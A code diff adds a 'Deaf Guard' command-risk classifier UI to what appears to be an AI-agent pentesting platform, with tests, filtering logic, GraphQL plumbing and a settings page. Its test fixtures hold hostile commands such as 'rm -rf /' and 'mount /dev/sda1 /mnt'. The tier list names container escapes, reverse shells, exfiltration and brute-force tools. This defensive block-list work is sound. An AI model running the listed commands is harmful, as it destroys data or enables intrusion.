+ ); +} + +export default FlowDeafGuard; diff --git a/frontend/src/features/flows/deaf-guard/lib.test.ts b/frontend/src/features/flows/deaf-guard/lib.test.ts new file mode 100644 index 000000000..ad28f7eed --- /dev/null +++ b/frontend/src/features/flows/deaf-guard/lib.test.ts @@ -0,0 +1,213 @@ +import { describe, expect, it } from 'vitest'; + +import type { DeafGuardEventFragmentFragment } from '@/graphql/types'; + +import { countByAction, countByTier, filterEvents, getTierBand, hasActiveFilters, sortNewestFirst } from './lib'; + +// Factory for building fake events in tests. Keeps each case terse by +// letting you override only the fields the assertion cares about. +const makeEvent = (overrides: Partial = {}): DeafGuardEventFragmentFragment => ({ + action: 'log', + allowed: true, + category: 'local_utility', + command: 'ls -la', + flowId: '42', + id: '1', + mode: 'log', + reason: 'No matching rules — allowed', + risk: 'none', + tier: 9, + timestamp: 1700000000, + ...overrides, +}); + +describe('getTierBand', () => { + it('maps tiers 1-4 to destructive', () => { + expect(getTierBand(1)).toBe('destructive'); + expect(getTierBand(2)).toBe('destructive'); + expect(getTierBand(3)).toBe('destructive'); + expect(getTierBand(4)).toBe('destructive'); + }); + + it('maps tiers 5-7 to warn', () => { + expect(getTierBand(5)).toBe('warn'); + expect(getTierBand(6)).toBe('warn'); + expect(getTierBand(7)).toBe('warn'); + }); + + it('maps tiers 8-9 to neutral', () => { + expect(getTierBand(8)).toBe('neutral'); + expect(getTierBand(9)).toBe('neutral'); + }); + + it('treats out-of-range tiers as neutral', () => { + expect(getTierBand(0)).toBe('neutral'); + expect(getTierBand(10)).toBe('neutral'); + }); +}); + +describe('hasActiveFilters', () => { + it('returns false when all filters empty', () => { + expect(hasActiveFilters({ actions: new Set(), search: '', tiers: new Set() })).toBe(false); + }); + + it('ignores pure-whitespace search', () => { + expect(hasActiveFilters({ actions: new Set(), search: ' ', tiers: new Set() })).toBe(false); + }); + + it('detects active search', () => { + expect(hasActiveFilters({ actions: new Set(), search: 'rm', tiers: new Set() })).toBe(true); + }); + + it('detects active tier filter', () => { + expect(hasActiveFilters({ actions: new Set(), search: '', tiers: new Set([1]) })).toBe(true); + }); + + it('detects active action filter', () => { + expect(hasActiveFilters({ actions: new Set(['block']), search: '', tiers: new Set() })).toBe(true); + }); +}); + +describe('filterEvents', () => { + const events: DeafGuardEventFragmentFragment[] = [ + makeEvent({ action: 'block', command: 'rm -rf /', id: '1', reason: 'Destructive file op', tier: 2 }), + makeEvent({ action: 'warn', command: 'hydra -l admin', id: '2', reason: 'Brute force tool', tier: 6 }), + makeEvent({ action: 'log', command: 'ls -la', id: '3', reason: 'No matching rules', tier: 9 }), + makeEvent({ action: 'block', command: 'mount /dev/sda1 /mnt', id: '4', reason: 'Container escape', tier: 1 }), + ]; + + it('returns everything when all filters are empty', () => { + const result = filterEvents(events, { actions: new Set(), search: '', tiers: new Set() }); + expect(result).toHaveLength(events.length); + }); + + it('filters by tier (single)', () => { + const result = filterEvents(events, { actions: new Set(), search: '', tiers: new Set([1]) }); + expect(result.map((e) => e.id)).toEqual(['4']); + }); + + it('filters by tier (multiple — OR)', () => { + const result = filterEvents(events, { actions: new Set(), search: '', tiers: new Set([1, 2]) }); + expect(result.map((e) => e.id).sort()).toEqual(['1', '4']); + }); + + it('filters by action', () => { + const result = filterEvents(events, { actions: new Set(['block']), search: '', tiers: new Set() }); + expect(result.map((e) => e.id).sort()).toEqual(['1', '4']); + }); + + it('filters by case-insensitive search across command', () => { + const result = filterEvents(events, { actions: new Set(), search: 'HYDRA', tiers: new Set() }); + expect(result.map((e) => e.id)).toEqual(['2']); + }); + + it('filters by case-insensitive search across reason', () => { + const result = filterEvents(events, { actions: new Set(), search: 'container', tiers: new Set() }); + expect(result.map((e) => e.id)).toEqual(['4']); + }); + + it('applies tier + action + search together (AND across filter types)', () => { + const result = filterEvents(events, { + actions: new Set(['block']), + search: 'rm', + tiers: new Set([1, 2, 3]), + }); + expect(result.map((e) => e.id)).toEqual(['1']); + }); + + it('returns empty when filters have no overlap', () => { + const result = filterEvents(events, { + actions: new Set(['log']), + search: '', + tiers: new Set([1]), + }); + expect(result).toEqual([]); + }); + + it('clearing all filters shows everything (AC requirement)', () => { + // Simulate "reset" — an empty filter set returns the full list. + const result = filterEvents(events, { actions: new Set(), search: '', tiers: new Set() }); + expect(result).toHaveLength(events.length); + }); +}); + +describe('countByAction', () => { + it('returns zero counts when no events', () => { + expect(countByAction([])).toEqual({ block: 0, log: 0, warn: 0 }); + }); + + it('counts each action independently', () => { + const events = [ + makeEvent({ action: 'block', id: '1' }), + makeEvent({ action: 'block', id: '2' }), + makeEvent({ action: 'warn', id: '3' }), + makeEvent({ action: 'log', id: '4' }), + makeEvent({ action: 'log', id: '5' }), + makeEvent({ action: 'log', id: '6' }), + ]; + expect(countByAction(events)).toEqual({ block: 2, log: 3, warn: 1 }); + }); + + it('ignores unknown action values gracefully', () => { + const events = [makeEvent({ action: 'mystery' as never, id: '1' }), makeEvent({ action: 'block', id: '2' })]; + expect(countByAction(events)).toEqual({ block: 1, log: 0, warn: 0 }); + }); +}); + +describe('countByTier', () => { + it('always returns all 9 tiers, even when empty', () => { + const result = countByTier([]); + expect( + Object.keys(result) + .map(Number) + .sort((a, b) => a - b), + ).toEqual([1, 2, 3, 4, 5, 6, 7, 8, 9]); + expect(Object.values(result).every((c) => c === 0)).toBe(true); + }); + + it('counts each tier independently', () => { + const events = [ + makeEvent({ id: '1', tier: 1 }), + makeEvent({ id: '2', tier: 2 }), + makeEvent({ id: '3', tier: 2 }), + makeEvent({ id: '4', tier: 9 }), + ]; + const result = countByTier(events); + expect(result[1]).toBe(1); + expect(result[2]).toBe(2); + expect(result[9]).toBe(1); + expect(result[5]).toBe(0); + }); + + it('ignores out-of-range tier values (defensive)', () => { + const events = [makeEvent({ id: '1', tier: 0 }), makeEvent({ id: '2', tier: 1 })]; + expect(countByTier(events)[1]).toBe(1); + }); +}); + +describe('sortNewestFirst', () => { + it('sorts by timestamp descending', () => { + const events = [ + makeEvent({ id: '1', timestamp: 1000 }), + makeEvent({ id: '2', timestamp: 3000 }), + makeEvent({ id: '3', timestamp: 2000 }), + ]; + expect(sortNewestFirst(events).map((e) => e.id)).toEqual(['2', '3', '1']); + }); + + it('breaks timestamp ties by id descending (arrival order)', () => { + const events = [ + makeEvent({ id: '1', timestamp: 1000 }), + makeEvent({ id: '2', timestamp: 1000 }), + makeEvent({ id: '3', timestamp: 1000 }), + ]; + expect(sortNewestFirst(events).map((e) => e.id)).toEqual(['3', '2', '1']); + }); + + it('returns a new array (does not mutate input)', () => { + const input = [makeEvent({ id: '1', timestamp: 1000 }), makeEvent({ id: '2', timestamp: 2000 })]; + const snapshot = input.map((e) => e.id); + sortNewestFirst(input); + expect(input.map((e) => e.id)).toEqual(snapshot); + }); +}); diff --git a/frontend/src/features/flows/deaf-guard/lib.ts b/frontend/src/features/flows/deaf-guard/lib.ts new file mode 100644 index 000000000..69ad0dbf1 --- /dev/null +++ b/frontend/src/features/flows/deaf-guard/lib.ts @@ -0,0 +1,154 @@ +import type { DeafGuardEventFragmentFragment } from '@/graphql/types'; + +// ---------- Domain constants ---------- + +// Actions surfaced by the Deaf Guard classifier. String values match the Go +// backend's Action enum in pkg/tools/deafguard/rules.go. +export const DEAF_GUARD_ACTIONS = ['block', 'warn', 'log'] as const; +export type DeafGuardAction = (typeof DEAF_GUARD_ACTIONS)[number]; + +// Tiers 1-9 from the classification taxonomy. Lower numbers = higher severity. +// Tier 1 is container-escape territory; tier 9 is benign local-utility. +export const DEAF_GUARD_TIERS = [1, 2, 3, 4, 5, 6, 7, 8, 9] as const; +export type DeafGuardTier = (typeof DEAF_GUARD_TIERS)[number]; + +// ---------- Severity banding ---------- + +/** + * Maps a tier to a severity band for row coloring. + * + * Mapping comes directly from SEC-4744: tiers 1-4 surface as destructive + * (container-escape through persistence — things that should never run), + * 5-7 as warn (reverse-shell/credential-abuse/aggressive-flags — scope- + * dependent), 8-9 as neutral (standard pentest + local utilities). + */ +export type SeverityBand = 'destructive' | 'neutral' | 'warn'; + +export const getTierBand = (tier: number): SeverityBand => { + if (tier >= 1 && tier <= 4) { + return 'destructive'; + } + + if (tier >= 5 && tier <= 7) { + return 'warn'; + } + + return 'neutral'; +}; + +// ---------- Filtering ---------- + +export interface DeafGuardFilters { + // Empty set = no action filter applied (show all actions). + actions: ReadonlySet; + // Debounced lowercase search term, matched against command + reason. + search: string; + // Empty set = no tier filter applied (show all tiers). + tiers: ReadonlySet; +} + +export const hasActiveFilters = (filters: DeafGuardFilters): boolean => + filters.tiers.size > 0 || filters.actions.size > 0 || filters.search.trim().length > 0; + +/** + * Applies tier, action, and search filters together. Empty filter sets are + * no-ops so "clear all filters shows everything" is the default. + * Case-insensitive substring match across command + reason. + */ +export const filterEvents = ( + events: readonly DeafGuardEventFragmentFragment[], + filters: DeafGuardFilters, +): DeafGuardEventFragmentFragment[] => { + const search = filters.search.trim().toLowerCase(); + const hasSearch = search.length > 0; + const hasTierFilter = filters.tiers.size > 0; + const hasActionFilter = filters.actions.size > 0; + + if (!hasSearch && !hasTierFilter && !hasActionFilter) { + return [...events]; + } + + return events.filter((event) => { + if (hasTierFilter && !filters.tiers.has(event.tier)) { + return false; + } + + if (hasActionFilter && !filters.actions.has(event.action)) { + return false; + } + + if (hasSearch) { + const command = event.command.toLowerCase(); + const reason = event.reason.toLowerCase(); + + if (!command.includes(search) && !reason.includes(search)) { + return false; + } + } + + return true; + }); +}; + +// ---------- Counters ---------- + +/** + * Counts events by action. Always returns a shape with every known action + * present, so downstream code can render pill badges without null checks. + */ +export const countByAction = (events: readonly DeafGuardEventFragmentFragment[]): Record => { + const counts: Record = { block: 0, log: 0, warn: 0 }; + + for (const event of events) { + const action = event.action as DeafGuardAction; + + if (action in counts) { + counts[action] += 1; + } + } + + return counts; +}; + +/** + * Counts events by tier 1-9. Tiers with zero events are still represented + * with a count of 0 so the tier pill strip renders consistently. + */ +export const countByTier = (events: readonly DeafGuardEventFragmentFragment[]): Record => { + const counts: Record = {}; + + for (const tier of DEAF_GUARD_TIERS) { + counts[tier] = 0; + } + + for (const event of events) { + const current = counts[event.tier]; + if (current !== undefined) { + counts[event.tier] = current + 1; + } + } + + return counts; +}; + +// ---------- Sorting ---------- + +/** + * Returns events newest first (highest timestamp at index 0). When two events + * share a timestamp — possible when a flow emits many classifications in the + * same second — the higher ID wins (monotonic per process, so ID is a correct + * tiebreaker for arrival order). + */ +export const sortNewestFirst = ( + events: readonly DeafGuardEventFragmentFragment[], +): DeafGuardEventFragmentFragment[] => { + return [...events].sort((a, b) => { + if (b.timestamp !== a.timestamp) { + return b.timestamp - a.timestamp; + } + + // Treat ids as BigInt-safe via Number — IDs come from a process-local + // atomic counter so they stay well under 2^53 in any reasonable runtime. + return Number(b.id) - Number(a.id); + }); +}; diff --git a/frontend/src/features/flows/flow-tabs.tsx b/frontend/src/features/flows/flow-tabs.tsx index 742b0c343..4ee8f0c38 100644 --- a/frontend/src/features/flows/flow-tabs.tsx +++ b/frontend/src/features/flows/flow-tabs.tsx @@ -3,6 +3,7 @@ import { useEffect, useRef } from 'react'; import { ScrollArea, ScrollBar } from '@/components/ui/scroll-area'; import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'; import FlowAgents from '@/features/flows/agents/flow-agents'; +import FlowDeafGuard from '@/features/flows/deaf-guard/flow-deaf-guard'; import FlowDashboard from '@/features/flows/dashboard/flow-dashboard'; import FlowFiles from '@/features/flows/files/flow-files'; import FlowAssistantMessages from '@/features/flows/messages/flow-assistant-messages'; @@ -47,6 +48,7 @@ function FlowTabs({ activeTab, onTabChange }: FlowTabsProps) { Terminal Tasks Agents + Deaf Guard Searches Vector Store Files @@ -102,6 +104,13 @@ function FlowTabs({ activeTab, onTabChange }: FlowTabsProps) { + + + + | null; searchLogs: Array | null; vectorStoreLogs: Array | null; + deafGuardEvents: Array | null; }; export type TasksQueryVariables = Exact<{ @@ -1269,6 +1284,12 @@ export type VectorStoreLogAddedSubscriptionVariables = Exact<{ export type VectorStoreLogAddedSubscription = { vectorStoreLogAdded: VectorStoreLogFragmentFragment }; +export type DeafGuardEventAddedSubscriptionVariables = Exact<{ + flowId: string | number; +}>; + +export type DeafGuardEventAddedSubscription = { deafGuardEventAdded: DeafGuardEventFragmentFragment }; + export type AssistantCreatedSubscriptionVariables = Exact<{ flowId: string | number; }>; @@ -1797,6 +1818,32 @@ export const VectorStoreLogFragmentFragmentDoc = { }, ], } as unknown as DocumentNode; +export const DeafGuardEventFragmentFragmentDoc = { + kind: 'Document', + definitions: [ + { + kind: 'FragmentDefinition', + name: { kind: 'Name', value: 'deafGuardEventFragment' }, + typeCondition: { kind: 'NamedType', name: { kind: 'Name', value: 'DeafGuardEvent' } }, + selectionSet: { + kind: 'SelectionSet', + selections: [ + { kind: 'Field', name: { kind: 'Name', value: 'id' } }, + { kind: 'Field', name: { kind: 'Name', value: 'flowId' } }, + { kind: 'Field', name: { kind: 'Name', value: 'timestamp' } }, + { kind: 'Field', name: { kind: 'Name', value: 'command' } }, + { kind: 'Field', name: { kind: 'Name', value: 'category' } }, + { kind: 'Field', name: { kind: 'Name', value: 'tier' } }, + { kind: 'Field', name: { kind: 'Name', value: 'risk' } }, + { kind: 'Field', name: { kind: 'Name', value: 'action' } }, + { kind: 'Field', name: { kind: 'Name', value: 'allowed' } }, + { kind: 'Field', name: { kind: 'Name', value: 'mode' } }, + { kind: 'Field', name: { kind: 'Name', value: 'reason' } }, + ], + }, + }, + ], +} as unknown as DocumentNode; export const AssistantFragmentFragmentDoc = { kind: 'Document', definitions: [ @@ -5141,6 +5188,23 @@ export const FlowDocument = { ], }, }, + { + kind: 'Field', + name: { kind: 'Name', value: 'deafGuardEvents' }, + arguments: [ + { + kind: 'Argument', + name: { kind: 'Name', value: 'flowId' }, + value: { kind: 'Variable', name: { kind: 'Name', value: 'id' } }, + }, + ], + selectionSet: { + kind: 'SelectionSet', + selections: [ + { kind: 'FragmentSpread', name: { kind: 'Name', value: 'deafGuardEventFragment' } }, + ], + }, + }, ], }, }, @@ -5362,6 +5426,27 @@ export const FlowDocument = { ], }, }, + { + kind: 'FragmentDefinition', + name: { kind: 'Name', value: 'deafGuardEventFragment' }, + typeCondition: { kind: 'NamedType', name: { kind: 'Name', value: 'DeafGuardEvent' } }, + selectionSet: { + kind: 'SelectionSet', + selections: [ + { kind: 'Field', name: { kind: 'Name', value: 'id' } }, + { kind: 'Field', name: { kind: 'Name', value: 'flowId' } }, + { kind: 'Field', name: { kind: 'Name', value: 'timestamp' } }, + { kind: 'Field', name: { kind: 'Name', value: 'command' } }, + { kind: 'Field', name: { kind: 'Name', value: 'category' } }, + { kind: 'Field', name: { kind: 'Name', value: 'tier' } }, + { kind: 'Field', name: { kind: 'Name', value: 'risk' } }, + { kind: 'Field', name: { kind: 'Name', value: 'action' } }, + { kind: 'Field', name: { kind: 'Name', value: 'allowed' } }, + { kind: 'Field', name: { kind: 'Name', value: 'mode' } }, + { kind: 'Field', name: { kind: 'Name', value: 'reason' } }, + ], + }, + }, ], } as unknown as DocumentNode; export const TasksDocument = { @@ -10378,6 +10463,66 @@ export const VectorStoreLogAddedDocument = { }, ], } as unknown as DocumentNode; +export const DeafGuardEventAddedDocument = { + kind: 'Document', + definitions: [ + { + kind: 'OperationDefinition', + operation: 'subscription', + name: { kind: 'Name', value: 'deafGuardEventAdded' }, + variableDefinitions: [ + { + kind: 'VariableDefinition', + variable: { kind: 'Variable', name: { kind: 'Name', value: 'flowId' } }, + type: { kind: 'NonNullType', type: { kind: 'NamedType', name: { kind: 'Name', value: 'ID' } } }, + }, + ], + selectionSet: { + kind: 'SelectionSet', + selections: [ + { + kind: 'Field', + name: { kind: 'Name', value: 'deafGuardEventAdded' }, + arguments: [ + { + kind: 'Argument', + name: { kind: 'Name', value: 'flowId' }, + value: { kind: 'Variable', name: { kind: 'Name', value: 'flowId' } }, + }, + ], + selectionSet: { + kind: 'SelectionSet', + selections: [ + { kind: 'FragmentSpread', name: { kind: 'Name', value: 'deafGuardEventFragment' } }, + ], + }, + }, + ], + }, + }, + { + kind: 'FragmentDefinition', + name: { kind: 'Name', value: 'deafGuardEventFragment' }, + typeCondition: { kind: 'NamedType', name: { kind: 'Name', value: 'DeafGuardEvent' } }, + selectionSet: { + kind: 'SelectionSet', + selections: [ + { kind: 'Field', name: { kind: 'Name', value: 'id' } }, + { kind: 'Field', name: { kind: 'Name', value: 'flowId' } }, + { kind: 'Field', name: { kind: 'Name', value: 'timestamp' } }, + { kind: 'Field', name: { kind: 'Name', value: 'command' } }, + { kind: 'Field', name: { kind: 'Name', value: 'category' } }, + { kind: 'Field', name: { kind: 'Name', value: 'tier' } }, + { kind: 'Field', name: { kind: 'Name', value: 'risk' } }, + { kind: 'Field', name: { kind: 'Name', value: 'action' } }, + { kind: 'Field', name: { kind: 'Name', value: 'allowed' } }, + { kind: 'Field', name: { kind: 'Name', value: 'mode' } }, + { kind: 'Field', name: { kind: 'Name', value: 'reason' } }, + ], + }, + }, + ], +} as unknown as DocumentNode; export const AssistantCreatedDocument = { kind: 'Document', definitions: [ diff --git a/frontend/src/lib/apollo.ts b/frontend/src/lib/apollo.ts index 97f4d6f1c..1eaf25cb1 100644 --- a/frontend/src/lib/apollo.ts +++ b/frontend/src/lib/apollo.ts @@ -91,6 +91,7 @@ const subscriptionToCacheFieldMap: Record = { assistantLogAdded: 'assistantLogs', assistantLogUpdated: 'assistantLogs', assistantUpdated: 'assistants', + deafGuardEventAdded: 'deafGuardEvents', flowCreated: 'flows', flowDeleted: 'flows', flowFileAdded: 'flowFiles', @@ -438,6 +439,7 @@ export const createCache = () => tasks: { keyArgs: ['flowId'], ...replaceWithIncoming }, terminalLogs: { keyArgs: ['flowId'], ...replaceWithIncoming }, vectorStoreLogs: { keyArgs: ['flowId'], ...replaceWithIncoming }, + deafGuardEvents: { keyArgs: ['flowId'], ...replaceWithIncoming }, }, }, }, diff --git a/frontend/src/lib/route-titles/index.ts b/frontend/src/lib/route-titles/index.ts index d4edb56ac..66e33804d 100644 --- a/frontend/src/lib/route-titles/index.ts +++ b/frontend/src/lib/route-titles/index.ts @@ -84,6 +84,8 @@ export const routeTitles = { providers: { title: 'Providers' }, + security: { title: 'Security' }, + resources: { title: 'Resources' }, template: { diff --git a/frontend/src/lib/routes.test.ts b/frontend/src/lib/routes.test.ts index b4f818cb2..2dd07418c 100644 --- a/frontend/src/lib/routes.test.ts +++ b/frontend/src/lib/routes.test.ts @@ -25,6 +25,7 @@ const builtUrlToPattern: [string, string][] = [ [routes.settings.prompts, '/settings/prompts'], [routes.settings.prompt('p1'), '/settings/prompts/:promptId'], [routes.settings.apiTokens, '/settings/api-tokens'], + [routes.settings.security, '/settings/security'], [routes.login(), '/login'], [routes.oauthResult, '/oauth/result'], [routes.root, '/'], diff --git a/frontend/src/lib/routes.ts b/frontend/src/lib/routes.ts index 707bc4545..c1348a61a 100644 --- a/frontend/src/lib/routes.ts +++ b/frontend/src/lib/routes.ts @@ -44,6 +44,7 @@ export const routes = { provider: (id: string) => `/settings/providers/${id}`, providers: '/settings/providers', root: '/settings', + security: '/settings/security', }, template: (id: number | string) => `/templates/${id}`, diff --git a/frontend/src/pages/settings/settings-security.tsx b/frontend/src/pages/settings/settings-security.tsx new file mode 100644 index 000000000..1eae229da --- /dev/null +++ b/frontend/src/pages/settings/settings-security.tsx @@ -0,0 +1,302 @@ +import { AlertTriangle, Info, Shield, ShieldCheck, ShieldOff } from 'lucide-react'; +import { useCallback, useEffect, useState } from 'react'; +import { toast } from 'sonner'; + +import { AppHeader, AppHeaderContent, AppHeaderTitle } from '@/components/layouts/app/app-header'; +import { ErrorState } from '@/components/shared/error-state'; +import { LoadingState } from '@/components/shared/loading-state'; +import { Badge } from '@/components/ui/badge'; +import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card'; +import { Label } from '@/components/ui/label'; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'; +import { Switch } from '@/components/ui/switch'; +import { api, getApiErrorMessage, unwrapApiResponse } from '@/lib/axios'; + +interface DeafGuardConfig { + enabled: boolean; + mode: string; +} + +const logModeInfo = { + description: 'Classifies and logs all commands but does not block anything. Use for initial deployment.', + icon: , + label: 'Log Only', +}; + +const modeDescriptions: Record = { + enforce: { + description: 'Blocks both BLOCK-tier and WARN-tier commands. Most restrictive mode.', + icon: , + label: 'Enforce', + }, + log: logModeInfo, + warn: { + description: 'Blocks BLOCK-tier commands (container escape, destructive ops) but allows WARN-tier through.', + icon: , + label: 'Warn', + }, +}; + +const tiers = [ + { + action: 'BLOCK', + description: 'mount, docker socket, nsenter, chroot, /proc access', + name: 'Container Escape', + tier: 1, + }, + { action: 'BLOCK', description: 'rm -rf /, shred, dd to devices, mkfs', name: 'Destructive File Ops', tier: 2 }, + { + action: 'BLOCK', + description: 'Flood attacks, fork bombs, stress tools, iptables DROP', + name: 'Network DoS', + tier: 3, + }, + { + action: 'BLOCK', + description: 'Backdoor users, SSH keys, cron jobs, systemd services', + name: 'Persistence / Implants', + tier: 4, + }, + { + action: 'WARN', + description: 'Bash/nc/python reverse shells, curl upload, scp, rsync', + name: 'Reverse Shells / Exfil', + tier: 5, + }, + { action: 'WARN', description: 'hydra, crackmapexec, medusa, ncrack', name: 'Credential Abuse', tier: 6 }, + { + action: 'WARN', + description: 'sqlmap --risk=3, nmap exploit scripts, high thread counts', + name: 'Aggressive Flags', + tier: 7, + }, + { action: 'LOG', description: 'nmap, nuclei, curl, ffuf, gobuster, nikto', name: 'Standard Pentesting', tier: 8 }, + { action: 'LOG', description: 'cat, grep, python, jq, find, echo', name: 'Local Utilities', tier: 9 }, +]; + +function SettingsSecurity() { + const [config, setConfig] = useState(null); + const [loading, setLoading] = useState(true); + const [saving, setSaving] = useState(false); + const [loadError, setLoadError] = useState(null); + + const fetchConfig = useCallback(async () => { + setLoading(true); + setLoadError(null); + try { + const response = await api.get('/deafguard/config'); + setConfig(unwrapApiResponse(response)); + } catch (error) { + const message = getApiErrorMessage(error, 'Failed to load Deaf Guard configuration'); + setLoadError(message); + toast.error(message); + } finally { + setLoading(false); + } + }, []); + + useEffect(() => { + void fetchConfig(); + }, [fetchConfig]); + + const updateConfig = useCallback( + async (updates: Partial) => { + if (!config) { + return; + } + setSaving(true); + try { + const response = await api.put>('/deafguard/config', updates); + setConfig(unwrapApiResponse(response)); + toast.success('Deaf Guard configuration updated'); + } catch (error) { + toast.error(getApiErrorMessage(error, 'Failed to update configuration')); + } finally { + setSaving(false); + } + }, + [config], + ); + + const pageHeader = ( + + + }>Security + + + ); + + if (loading) { + return ( + <> + {pageHeader} +
+ +
+ + ); + } + + if (!config) { + return ( + <> + {pageHeader} +
+ +
+ + ); + } + + const modeInfo = modeDescriptions[config.mode] ?? logModeInfo; + + return ( + <> + {pageHeader} +
+ + + {config.enabled ? ( + + ) : ( + + )} +
+ Deaf Guard + + {config.enabled ? 'Active' : 'Disabled'} — {modeInfo.label} + +
+ + {config.enabled ? 'Active' : 'Disabled'} + + + + + + + Configuration + + Deaf Guard intercepts terminal commands before execution and classifies them through a + 9-tier risk taxonomy. Dangerous commands are blocked or flagged based on the enforcement + mode. + + + +
+
+ +

+ When disabled, all commands pass through without classification. +

+
+ void updateConfig({ enabled: checked })} + /> +
+ +
+ + +

{modeInfo.description}

+
+ + + + + + Classification Tiers + + Commands are classified into tiers based on risk. The enforcement mode determines which + tiers are blocked. + + + +
+ {tiers.map((tier) => ( +
+
+
+ + Tier {tier.tier} + + {tier.name} +
+

{tier.description}

+
+ + {tier.action} + +
+ ))} +
+ + + + + +
+ +
+

+ Configuration changes take effect on the next flow that starts. + Active flows continue with their original settings. +

+

+ Set DEAF_GUARD_ENABLED and{' '} + DEAF_GUARD_MODE in your{' '} + .env file for persistent defaults + across container restarts. +

+
+
+ + +
+ + ); +} + +export default SettingsSecurity; diff --git a/frontend/src/providers/flow-provider.tsx b/frontend/src/providers/flow-provider.tsx index 113db421e..176863bd5 100644 --- a/frontend/src/providers/flow-provider.tsx +++ b/frontend/src/providers/flow-provider.tsx @@ -17,6 +17,7 @@ import { AssistantUpdatedDocument, CallAssistantDocument, CreateAssistantDocument, + DeafGuardEventAddedDocument, DeleteAssistantDocument, FlowDocument, FlowUpdatedDocument, @@ -96,7 +97,7 @@ export function FlowProvider({ children }: FlowProviderProps) { }); // Also gates `subscriptionSkip` below: raising it on a refetch that still holds the flow - // would tear down 14 live subscriptions mid-flight. + // would tear down 15 live subscriptions mid-flight. const isLoading = loading && !flowData?.flow; // A real load failure that left nothing to show (cold cache + backend error on a @@ -158,6 +159,7 @@ export function FlowProvider({ children }: FlowProviderProps) { useSubscription(AgentLogAddedDocument, { skip: subscriptionSkip, variables: subscriptionVariables }); useSubscription(SearchLogAddedDocument, { skip: subscriptionSkip, variables: subscriptionVariables }); useSubscription(VectorStoreLogAddedDocument, { skip: subscriptionSkip, variables: subscriptionVariables }); + useSubscription(DeafGuardEventAddedDocument, { skip: subscriptionSkip, variables: subscriptionVariables }); useSubscription(AssistantCreatedDocument, { skip: subscriptionSkip, variables: subscriptionVariables }); useSubscription(AssistantUpdatedDocument, { skip: subscriptionSkip, variables: subscriptionVariables });